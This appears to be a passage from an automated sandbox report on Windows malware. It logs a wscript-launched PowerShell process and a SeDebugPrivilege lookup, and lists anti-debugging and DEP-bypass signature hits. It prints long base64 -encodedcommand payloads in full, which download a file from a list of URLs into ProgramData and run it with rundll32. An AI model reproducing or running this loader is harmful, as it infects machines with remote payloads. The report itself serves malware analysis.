AGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABJAEEATQBnAEEAMQBBAEMANABBAE0AZwBBAHgAQQBEAEEAQQBMAGcAQQB4AEEARABZAEEATQBnAEEAdQBBAEQARQBBAE0AZwBBAHgAQQBBAD0APQBjAEEAQQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCADEAQQBHADQAQQBaAFEAQgA0AEEARwBFAEEAYgBRAEIAcABBAEcANABBAFkAUQBCAGkAQQBHAHcAQQBaAFEAQgBJAEEARwA4AEEAYwBnAEIAegBBAEcAVQBBAFkAZwBCAGwAQQBHAEUAQQBiAGcAQQB1AEEARwBFAEEAZABBAEEAPQBjAEEAQQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCAFYAQQBHADQAQQBkAFEAQgBpAEEARwBrAEEAYwBRAEIAMQBBAEcAawBBAGQAQQBCAHYAQQBIAFUAQQBjAHcAQgB1AEEARwBVAEEAYwB3AEIAegBBAEMANABBAGMAZwBCAGwAQQBHAGsAQQBjAHcAQgBsAEEAQQA9AD0AYwBBAEEAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQA0AEEARABnAEEATABnAEEANQBBAEQAawBBAEwAZwBBAHgAQQBEAEEAQQBOAFEAQQB1AEEARABJAEEATgBRAEEAMABBAEEAPQA9ACIAOwAkAFMAZQBtAGkAbABlAGcAYQBsACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB5AEEARABNAEEATgBRAEEAdQBBAEQASQBBAE0AZwBBAHoAQQBDADQAQQBNAFEAQQA0AEEARABVAEEATABnAEEANQBBAEQAYwBBACIAOwBmAG8AcgBlAGEAYwBoACAAKAAkAGIAbwBuAGUAdAB0AGEAIABpAG4AIAAkAFAAcgBlAGQAYQB3AG4AcwAgAC0AcwBwAGwAaQB0ACAAIgByAFAAIgApACAAewB0AHIAeQAgAHsAJABNAHUAcwByAG8AbABOAGUAdwBsAGkAbgBlACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARgBBAEEAWgBRAEIAawBBAEcAawBBAFkAUQBCADAAQQBIAEkAQQBlAFEAQQB1AEEARwB3AEEAYQBRAEIAMgBBAEcAVQBBAEoAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBvAEEARwBVAEEAWQBRAEIAawBBAEcAUQBBAGMAZwBCAGwAQQBIAE0AQQBjAHcAQgBsAEEASABNAEEATABnAEIAcwBBAEcAOABBAGIAZwBCAGsAQQBHADgAQQBiAGcAQQA9AEoAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABJAEEATwBRAEEAdQBBAEQARQBBAE8AUQBBAHkAQQBDADQAQQBNAGcAQQB3AEEARABFAEEATABnAEEAeQBBAEQAVQBBAE0AQQBBAD0AIgA7ACQAaQByAGkAZABlAHMAYwBlAG4AYwBlAHMAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCADAAQQBIAFUAQQBZAGcAQgAxAEEARwB3AEEAYQBRAEIAawBBAEcAVQBBAGIAZwBCADAAQQBHAEUAQQBkAEEAQgBoAEEAQwA0AEEAWgB3AEIAaABBAEcAMABBAFoAUQBCAHoAQQBBAD0APQBTAE4APQBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBFAGMAQQBiAHcAQgBrAEEARwBRAEEAYQBRAEIAcgBBAEcAawBBAGIAZwBCAEIAQQBHAE0AQQBZAHcAQgBwAEEARwBRAEEAYQBRAEIAbABBAEMANABBAGQAZwBCAHYAQQBIAGsAQQBZAFEAQgBuAEEARwBVAEEAUwBOAD0AYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBRAEEARwBFAEEAYgBnAEIAagBBAEgASQBBAFoAUQBCAGgAQQBIAFEAQQBZAFEAQgBzAEEARwBjAEEAYQBRAEIAaABBAEMANABBAGMAQQBCAHkAQQBHAFUAQQBjAHcAQgB6AEEAQQA9AD0AUwBOAD0AYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABNAEEATQBRAEEAdQBBAEQAawBBAE0AUQBBAHUAQQBEAEUAQQBPAFEAQQA0AEEAQwA0AEEATQBRAEEAeABBAEQAVQBBACIAOwAkAGMAdQBtAHUAbABlAG4AZQBTAHQAeQBsAGEAdABlACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAbgBpAGMAbwBkAGUALgBHAGUAdABTAHQAcgBpAG4AZwAoAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGIAbwBuAGUAdAB0AGEAKQApADsASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAAJABjAHUAbQB1AGwAZQBuAGUAUwB0AHkAbABhAHQAZQAgAC0ATwAgAEMAOgBcAFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAXABzAHQAdQBtAHAAYQBnAGUAcwAuAFMAaABhAG4AZwBoAGEAaQBpAG4AZwA7ACQAVQBuAGcAYQB6AGkAbgBnAFQAZQBwAGgAcgBpAHQAZQAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQARQBBAE8AUQBBADQAQQBDADQAQQBNAFEAQQAwAEEARABJAEEATABnAEEAeQBBAEQAQQBBAE0AUQBBAHUAQQBEAFEAQQBOAFEAQQA9AHAAbAB5AEgAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABFAEEATgBBAEEAegBBAEMANABBAE0AZwBBADAAQQBEAGMAQQBMAGcAQQA1AEEARABjAEEATABnAEEAeABBAEQAZwBBAE0AZwBBAD0AIgA7ACQAYQBjAGUAaQB0AHUAbgBhAE4AbwBuAHMAcABlAGMAdQBsAGEAdABpAHYAZQBsAHkAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBADMAQQBEAGcAQQBMAGcAQQB4AEEARABRAEEATQBRAEEAdQBBAEQARQBBAE4AZwBBADEAQQBDADQAQQBNAGcAQQB3AEEARABVAEEAQQBoAFcAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBVAEEASABJAEEAYQBRAEIAagBBAEcAZwBBAGIAQQBCAHYAQQBIAEkAQQBiAHcAQgBsAEEASABRAEEAYQBBAEIAaABBAEcANABBAFoAUQBBAHUAQQBHAHMAQQBhAFEAQgAwAEEARwBNAEEAYQBBAEIAbABBAEcANABBAEEAaABXAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEYAQQBBAGIAdwBCAHUAQQBHAFEAQQBaAFEAQgB5AEEARwBFAEEAYgBnAEIAMABBAEUAYwBBAGMAZwBCAGgAQQBIAE0AQQBjAHcAQgBqAEEARwBnAEEAWQBRAEIAMABBAEMANABBAGQAUQBCAHUAQQBHAGsAQQBkAGcAQgBsAEEASABJAEEAYwB3AEIAcABBAEgAUQBBAGUAUQBBAD0AIgA7AGkAZgAgACgAKABHAGUAdAAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIABDADoAXABcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAFwAcwB0AHUAbQBwAGEAZwBlAHMALgBTAGgAYQBuAGcAaABhAGkAaQBuAGcAKQAuAEwAZQBuAGcAdABoACAALQBnAGUAIAAyADQAOAAxADYANwApAHsAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AZQBuAGMAbwBkAGUAZABjAG8AbQBtAGEAbgBkACAAIgBjAHcAQgAwAEEARwBFAEEAYwBnAEIAMABBAEMAQQBBAGMAZwBCADEAQQBHADQAQQBaAEEAQgBzAEEARwB3AEEATQB3AEEAeQBBAEMAQQBBAFEAdwBBADYAQQBGAHcAQQBVAEEAQgB5AEEARwA4AEEAWgB3AEIAeQBBAEcARQBBAGIAUQBCAEUAQQBHAEUAQQBkAEEAQgBoAEEARgB3AEEAYwB3AEIAMABBAEgAVQBBAGIAUQBCAHcAQQBHAEUAQQBaAHcAQgBsAEEASABNAEEATABnAEIAVABBAEcAZwBBAFkAUQBCAHUAQQBHAGMAQQBhAEEAQgBoAEEARwBrAEEAYQBRAEIAdQBBAEcAYwBBAEwAQQBCAHQAQQBIAFUAQQBjAHcAQgAwAEEARABzAEEAIgA7ACQAdAByAGkAZwBvAG4AbwBjAGUAcABoAGEAbAB5AEMAbwBuAHQAcgBhAHMAdABzACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQAwAEEARABJAEEATABnAEEAMABBAEQATQBBAEwAZwBBAHgAQQBEAEEAQQBNAGcAQQB1AEEARABFAEEATgBRAEEAegBBAEEAPQA9AEwAQwBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCADEAQQBHADQAQQBaAEEAQgBsAEEASABJAEEAYwB3AEIAMABBAEcARQBBAFoAZwBCAG0AQQBDADQAQQBaAEEAQgBsAEEAQQA9AD0ATABDAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAegBBAEcATQBBAGIAdwBCAHcAQQBIAFUAQQBiAEEAQgB2AEEASABVAEEAYwB3AEIAdQBBAEcAVQBBAGMAdwBCAHoAQQBDADQAQQBjAGcAQgBsAEEARwA0AEEAZABBAEIAaABBAEcAdwBBAGMAdwBBAD0AIgA7AGIAcgBlAGEAawA7AH0AfQAgAGMAYQB0AGMAaAAgAHsAfQB9AA=="
Time & API Arguments Status Return Repeated

ShellExecuteExW

 show_type: 0
filepath_r: powershell
parameters: -encodedcommand "JABNAGUAbABlAHQAaQBhAG4ARABpAHMAYwBvAG0AZgBvAHIAdABpAG4AZwBsAHkAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAFkAQQBOAFEAQQB1AEEARABJAEEATQBRAEEAMgBBAEMANABBAE8AQQBBAHoAQQBDADQAQQBPAFEAQQB5AEEAQQA9AD0ASwBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBHAE0AQQBaAFEAQgB1AEEASABRAEEAYwBnAEIAMQBBAEcAMABBAEwAZwBCAGoAQQBHADgAQQBiAFEAQgB3AEEARwBFAEEAYgBnAEIANQBBAEEAPQA9ACIAOwAkAFAAcgBlAGQAYQB3AG4AcwAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAQwBBAEcAVQBBAFoAZwBCAGgAQQBHAHcAQQBiAEEAQgBLAEEARwBFAEEAZQBRAEIAMwBBAEcARQBBAGIAQQBCAHIAQQBHAGsAQQBiAGcAQgBuAEEAQwA0AEEAYwB3AEIAagBBAEcAOABBAGQAQQBBAHYAQQBGAEUAQQBaAFEAQgBwAEEARgBVAEEAUQBRAEEAdgBBAEQAUQBBAFQAdwBBAHcAQQBBAD0APQByAFAAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQAyAEEARABJAEEATABnAEEAeQBBAEQAQQBBAE0AdwBBAHUAQQBEAEUAQQBNAFEAQQA0AEEAQwA0AEEATQBRAEEAeQBBAEQAZwBBAEwAdwBCAG0AQQBEAEEAQQBXAGcAQgBMAEEAQwA4AEEAUwBRAEEAPQByAFAAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABFAEEATQBnAEEANABBAEMANABBAE0AZwBBAHcAQQBEAFkAQQBMAGcAQQAzAEEARABrAEEATABnAEEAeQBBAEQAVQBBAE4AUQBBAHYAQQBHADQAQQBXAGcAQgBJAEEARABRAEEAVwBRAEEAdgBBAEcAYwBBAFEAUQBBADQAQQBFAHMAQQBUAHcAQQA9AHIAUABhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBADMAQQBEAE0AQQBMAGcAQQB5AEEARABBAEEATwBRAEEAdQBBAEQARQBBAE4AQQBBAHkAQQBDADQAQQBNAFEAQQB6AEEARABZAEEATAB3AEEAeABBAEUAMABBAE4AdwBBAHYAQQBHAGMAQQBPAFEAQQA9AHIAUABhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBHAEUAQQBaAEEAQgBoAEEARwAwAEEAWQBRAEIAdQBBAEgAUQBBAGIAdwBCAGkAQQBHAHcAQQBZAFEAQgB6AEEASABRAEEAVQBBAEIAbABBAEgASQBBAGIAQQBCAGgAQQBIAFEAQQBhAFEAQgAyAEEARwBVAEEATABnAEIAagBBAEcAOABBAGIAQQBCAHMAQQBHAFUAQQBaAHcAQgBsAEEAQwA4AEEATQB3AEIAUABBAEQAWQBBAFMAZwBCAEwAQQBDADgAQQBUAFEAQgBKAEEARwBnAEEAcgBQAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEUATQBBAGIAdwBCAHQAQQBHADAAQQBiAHcAQgB1AEEARgBBAEEAYwBnAEIAdgBBAEcAUQBBAGQAUQBCAGoAQQBHAFUAQQBjAGcAQgB6AEEARwBnAEEAYQBRAEIAdwBBAEMANABBAFkAZwBCAGgAQQBIAEkAQQBMAHcAQQA1AEEARABNAEEAUwBRAEIAeQBBAEMAOABBAE4AdwBCAFUAQQBFAG8AQQBOAHcAQQA9AHIAUABhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAGsAQQBNAGcAQQB1AEEARABFAEEATQBnAEEAeABBAEMANABBAE0AUQBBADMAQQBDADQAQQBNAFEAQQAwAEEAQwA4AEEATwBBAEIAQwBBAEgAbwBBAEwAdwBCAHcAQQBIAE0AQQBhAFEAQgBVAEEARwBNAEEATwBBAEIAMABBAEEAPQA9AHIAUABhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAGsAQQBNAGcAQQB1AEEARABFAEEATQBnAEEAeABBAEMANABBAE0AUQBBADMAQQBDADQAQQBOAGcAQQA1AEEAQwA4AEEATgB3AEIANABBAEgAWQBBAGIAZwBCAG8AQQBEAEUAQQBXAFEAQQB2AEEASABjAEEAUwBnAEEAeQBBAEgAVQBBAE0AdwBCAEUAQQBBAD0APQByAFAAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABrAEEATQBnAEEAdQBBAEQARQBBAE0AZwBBAHgAQQBDADQAQQBNAFEAQQAzAEEAQwA0AEEATgB3AEEAdwBBAEMAOABBAFkAdwBCAEUAQQBGAE0AQQBkAFEAQgBIAEEARwBJAEEATAB3AEIAUwBBAEgAYwBBAFYAZwBCAHYAQQBFADAAQQBSAHcAQgBwAEEARwBZAEEAUgB3AEIAVQBBAEEAPQA9ACIAOwAkAFoAbwBuAG8AcABsAGEAYwBlAG4AdABhAGwAaQBhAEUAdQBwAHIAYQBjAHQAaQBjACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABJAEEATQBnAEEAMQBBAEMANABBAE0AZwBBAHgAQQBEAEEAQQBMAGcAQQB4AEEARABZAEEATQBnAEEAdQBBAEQARQBBAE0AZwBBAHgAQQBBAD0APQBjAEEAQQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCADEAQQBHADQAQQBaAFEAQgA0AEEARwBFAEEAYgBRAEIAcABBAEcANABBAFkAUQBCAGkAQQBHAHcAQQBaAFEAQgBJAEEARwA4AEEAYwBnAEIAegBBAEcAVQBBAFkAZwBCAGwAQQBHAEUAQQBiAGcAQQB1AEEARwBFAEEAZABBAEEAPQBjAEEAQQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCAFYAQQBHADQAQQBkAFEAQgBpAEEARwBrAEEAYwBRAEIAMQBBAEcAawBBAGQAQQBCAHYAQQBIAFUAQQBjAHcAQgB1AEEARwBVAEEAYwB3AEIAegBBAEMANABBAGMAZwBCAGwAQQBHAGsAQQBjAHcAQgBsAEEAQQA9AD0AYwBBAEEAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQA0AEEARABnAEEATABnAEEANQBBAEQAawBBAEwAZwBBAHgAQQBEAEEAQQBOAFEAQQB1AEEARABJAEEATgBRAEEAMABBAEEAPQA9ACIAOwAkAFMAZQBtAGkAbABlAGcAYQBsACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB5AEEARABNAEEATgBRAEEAdQBBAEQASQBBAE0AZwBBAHoAQQBDADQAQQBNAFEAQQA0AEEARABVAEEATABnAEEANQBBAEQAYwBBACIAOwBmAG8AcgBlAGEAYwBoACAAKAAkAGIAbwBuAGUAdAB0AGEAIABpAG4AIAAkAFAAcgBlAGQAYQB3AG4AcwAgAC0AcwBwAGwAaQB0ACAAIgByAFAAIgApACAAewB0AHIAeQAgAHsAJABNAHUAcwByAG8AbABOAGUAdwBsAGkAbgBlACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARgBBAEEAWgBRAEIAawBBAEcAawBBAFkAUQBCADAAQQBIAEkAQQBlAFEAQQB1AEEARwB3AEEAYQBRAEIAMgBBAEcAVQBBAEoAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBvAEEARwBVAEEAWQBRAEIAawBBAEcAUQBBAGMAZwBCAGwAQQBIAE0AQQBjAHcAQgBsAEEASABNAEEATABnAEIAcwBBAEcAOABBAGIAZwBCAGsAQQBHADgAQQBiAGcAQQA9AEoAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABJAEEATwBRAEEAdQBBAEQARQBBAE8AUQBBAHkAQQBDADQAQQBNAGcAQQB3AEEARABFAEEATABnAEEAeQBBAEQAVQBBAE0AQQBBAD0AIgA7ACQAaQByAGkAZABlAHMAYwBlAG4AYwBlAHMAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCADAAQQBIAFUAQQBZAGcAQgAxAEEARwB3AEEAYQBRAEIAawBBAEcAVQBBAGIAZwBCADAAQQBHAEUAQQBkAEEAQgBoAEEAQwA0AEEAWgB3AEIAaABBAEcAMABBAFoAUQBCAHoAQQBBAD0APQBTAE4APQBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBFAGMAQQBiAHcAQgBrAEEARwBRAEEAYQBRAEIAcgBBAEcAawBBAGIAZwBCAEIAQQBHAE0AQQBZAHcAQgBwAEEARwBRAEEAYQBRAEIAbABBAEMANABBAGQAZwBCAHYAQQBIAGsAQQBZAFEAQgBuAEEARwBVAEEAUwBOAD0AYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBRAEEARwBFAEEAYgBnAEIAagBBAEgASQBBAFoAUQBCAGgAQQBIAFEAQQBZAFEAQgBzAEEARwBjAEEAYQBRAEIAaABBAEMANABBAGMAQQBCAHkAQQBHAFUAQQBjAHcAQgB6AEEAQQA9AD0AUwBOAD0AYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABNAEEATQBRAEEAdQBBAEQAawBBAE0AUQBBAHUAQQBEAEUAQQBPAFEAQQA0AEEAQwA0AEEATQBRAEEAeABBAEQAVQBBACIAOwAkAGMAdQBtAHUAbABlAG4AZQBTAHQAeQBsAGEAdABlACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAbgBpAGMAbwBkAGUALgBHAGUAdABTAHQAcgBpAG4AZwAoAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGIAbwBuAGUAdAB0AGEAKQApADsASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAAJABjAHUAbQB1AGwAZQBuAGUAUwB0AHkAbABhAHQAZQAgAC0ATwAgAEMAOgBcAFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAXABzAHQAdQBtAHAAYQBnAGUAcwAuAFMAaABhAG4AZwBoAGEAaQBpAG4AZwA7ACQAVQBuAGcAYQB6AGkAbgBnAFQAZQBwAGgAcgBpAHQAZQAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQARQBBAE8AUQBBADQAQQBDADQAQQBNAFEAQQAwAEEARABJAEEATABnAEEAeQBBAEQAQQBBAE0AUQBBAHUAQQBEAFEAQQBOAFEAQQA9AHAAbAB5AEgAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABFAEEATgBBAEEAegBBAEMANABBAE0AZwBBADAAQQBEAGMAQQBMAGcAQQA1AEEARABjAEEATABnAEEAeABBAEQAZwBBAE0AZwBBAD0AIgA7ACQAYQBjAGUAaQB0AHUAbgBhAE4AbwBuAHMAcABlAGMAdQBsAGEAdABpAHYAZQBsAHkAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBADMAQQBEAGcAQQBMAGcAQQB4AEEARABRAEEATQBRAEEAdQBBAEQARQBBAE4AZwBBADEAQQBDADQAQQBNAGcAQQB3AEEARABVAEEAQQBoAFcAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBVAEEASABJAEEAYQBRAEIAagBBAEcAZwBBAGIAQQBCAHYAQQBIAEkAQQBiAHcAQgBsAEEASABRAEEAYQBBAEIAaABBAEcANABBAFoAUQBBAHUAQQBHAHMAQQBhAFEAQgAwAEEARwBNAEEAYQBBAEIAbABBAEcANABBAEEAaABXAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEYAQQBBAGIAdwBCAHUAQQBHAFEAQQBaAFEAQgB5AEEARwBFAEEAYgBnAEIAMABBAEUAYwBBAGMAZwBCAGgAQQBIAE0AQQBjAHcAQgBqAEEARwBnAEEAWQBRAEIAMABBAEMANABBAGQAUQBCAHUAQQBHAGsAQQBkAGcAQgBsAEEASABJAEEAYwB3AEIAcABBAEgAUQBBAGUAUQBBAD0AIgA7AGkAZgAgACgAKABHAGUAdAAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIABDADoAXABcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAFwAcwB0AHUAbQBwAGEAZwBlAHMALgBTAGgAYQBuAGcAaABhAGkAaQBuAGcAKQAuAEwAZQBuAGcAdABoACAALQBnAGUAIAAyADQAOAAxADYANwApAHsAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AZQBuAGMAbwBkAGUAZABjAG8AbQBtAGEAbgBkACAAIgBjAHcAQgAwAEEARwBFAEEAYwBnAEIAMABBAEMAQQBBAGMAZwBCADEAQQBHADQAQQBaAEEAQgBzAEEARwB3AEEATQB3AEEAeQBBAEMAQQBBAFEAdwBBADYAQQBGAHcAQQBVAEEAQgB5AEEARwA4AEEAWgB3AEIAeQBBAEcARQBBAGIAUQBCAEUAQQBHAEUAQQBkAEEAQgBoAEEARgB3AEEAYwB3AEIAMABBAEgAVQBBAGIAUQBCAHcAQQBHAEUAQQBaAHcAQgBsAEEASABNAEEATABnAEIAVABBAEcAZwBBAFkAUQBCAHUAQQBHAGMAQQBhAEEAQgBoAEEARwBrAEEAYQBRAEIAdQBBAEcAYwBBAEwAQQBCAHQAQQBIAFUAQQBjAHcAQgAwAEEARABzAEEAIgA7ACQAdAByAGkAZwBvAG4AbwBjAGUAcABoAGEAbAB5AEMAbwBuAHQAcgBhAHMAdABzACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQAwAEEARABJAEEATABnAEEAMABBAEQATQBBAEwAZwBBAHgAQQBEAEEAQQBNAGcAQQB1AEEARABFAEEATgBRAEEAegBBAEEAPQA9AEwAQwBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCADEAQQBHADQAQQBaAEEAQgBsAEEASABJAEEAYwB3AEIAMABBAEcARQBBAFoAZwBCAG0AQQBDADQAQQBaAEEAQgBsAEEAQQA9AD0ATABDAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAegBBAEcATQBBAGIAdwBCAHcAQQBIAFUAQQBiAEEAQgB2AEEASABVAEEAYwB3AEIAdQBBAEcAVQBBAGMAdwBCAHoAQQBDADQAQQBjAGcAQgBsAEEARwA0AEEAZABBAEIAaABBAEcAdwBBAGMAdwBBAD0AIgA7AGIAcgBlAGEAawA7AH0AfQAgAGMAYQB0AGMAaAAgAHsAfQB9AA=="
filepath: powershell
1 1 0
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description Checks if being debugged rule anti_dbg
description Bypass DEP rule disable_dep
parent_process wscript.exe martian_process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "JABNAGUAbABlAHQAaQBhAG4ARABpAHMAYwBvAG0AZgBvAHIAdABpAG4AZwBsAHkAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAFkAQQBOAFEAQQB1AEEARABJAEEATQBRAEEAMgBBAEMANABBAE8AQQBBAHoAQQBDADQAQQBPAFEAQQB5AEEAQQA9AD0ASwBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBHAE0AQQBaAFEAQgB1AEEASABRAEEAYwBnAEIAMQBBAEcAMABBAEwAZwBCAGoAQQBHADgAQQBiAFEAQgB3AEEARwBFAEEAYgBnAEIANQBBAEEAPQA9ACIAOwAkAFAAcgBlAGQAYQB3AG4AcwAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAQwBBAEcAVQBBAFoAZwBCAGgAQQBHAHcAQQBiAEEAQgBLAEEARwBFAEEAZQBRAEIAMwBBAEcARQBBAGIAQQBCAHIAQQBHAGsAQQBiAGcAQgBuAEEAQwA0AEEAYwB3AEIAagBBAEcAOABBAGQAQQBBAHYAQQBGAEUAQQBaAFEAQgBwAEEARgBVAEEAUQBRAEEAdgBBAEQAUQBBAFQAdwBBAHcAQQBBAD0APQByAFAAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQAyAEEARABJAEEATABnAEEAeQBBAEQAQQBBAE0AdwBBAHUAQQBEAEUAQQBNAFEAQQA0AEEAQwA0AEEATQBRAEEAeQBBAEQAZwBBAEwAdwBCAG0AQQBEAEEAQQBXAGcAQgBMAEEAQwA4AEEAUwBRAEEAPQByAFAAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABFAEEATQBnAEEANABBAEMANABBAE0AZwBBAHcAQQBEAFkAQQBMAGcAQQAzAEEARABrAEEATABnAEEAeQBBAEQAVQBBAE4AUQBBAHYAQQBHADQAQQBXAGcAQgBJAEEARABRAEEAVwBRAEEAdgBBAEcAYwBBAFEAUQBBADQAQQBFAHMAQQBUAHcAQQA9AHIAUABhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBADMAQQBEAE0AQQBMAGcAQQB5AEEARABBAEEATwBRAEEAdQBBAEQARQBBAE4AQQBBAHkAQQBDADQAQQBNAFEAQQB6AEEARABZAEEATAB3AEEAeABBAEUAMABBAE4AdwBBAHYAQQBHAGMAQQBPAFEAQQA9AHIAUABhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBHAEUAQQBaAEEAQgBoAEEARwAwAEEAWQBRAEIAdQBBAEgAUQBBAGIAdwBCAGkAQQBHAHcAQQBZAFEAQgB6AEEASABRAEEAVQBBAEIAbABBAEgASQBBAGIAQQBCAGgAQQBIAFEAQQBhAFEAQgAyAEEARwBVAEEATABnAEIAagBBAEcAOABBAGIAQQBCAHMAQQBHAFUAQQBaAHcAQgBsAEEAQwA4AEEATQB3AEIAUABBAEQAWQBBAFMAZwBCAEwAQQBDADgAQQBUAFEAQgBKAEEARwBnAEEAcgBQAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEUATQBBAGIAdwBCAHQAQQBHADAAQ